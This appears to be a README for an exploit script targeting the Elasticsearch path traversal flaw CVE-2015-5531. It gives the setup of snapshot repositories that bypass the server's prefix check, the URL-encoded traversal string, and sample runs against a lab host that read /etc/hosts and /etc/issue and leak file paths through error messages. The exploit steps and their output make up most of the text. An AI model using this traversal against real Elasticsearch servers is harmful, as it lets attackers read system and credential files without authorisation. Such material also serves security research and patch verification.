Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# elasticpwn Script for ElasticSearch url path traversal vuln. CVE-2015-5531

```
[crg@fogheaven elasticpwn]$ python CVE-2015-5531.py exploitlab.int /etc/hosts
!dSR script for CVE-2015-5531

127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts


The script requires path.repo to be set into elasticsearch.yml and be writeable by elasticsearch process.

In order to bypass the snapshot- prefix setted in the server side, we need to create a known relative path:

curl http://exploitlab.int:9200/_snapshot/?pretty

{
  "pwn" : {
    "type" : "fs",
    "settings" : {
      "location" : "dsr"
    }
  },
  "pwnie" : {
    "type" : "fs",
    "settings" : {
      "location" : "dsr/snapshot-ev1l"
    }
  }
}

We will use it later to access through path traversal url:

trav = 'ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'


The file content it's represented as an array of ints, that needs to be translated into human readable:

crg@exploitlab:~$ python elk-5531.py localhost /etc/issue
!dSR script for CVE-2015-5531

{u'status': 400, u'error': u'ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]'}

[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS \n \l


There is also a path disclosure that could help exploiting in some scenarios:

crg@exploitlab:~$ python elk-5531.py localhost /etc/passwda
!dSR script for CVE-2015-5531

{"error":"SnapshotMissingException[[pwn:dsr/../../../../../../../../etc/passwda] is missing]; nested: FileNotFoundException[/var/tmp/dsr/snapshot-dsr/../../../../../../../../etc/passwda (No such file or directory)]; ","status":404}
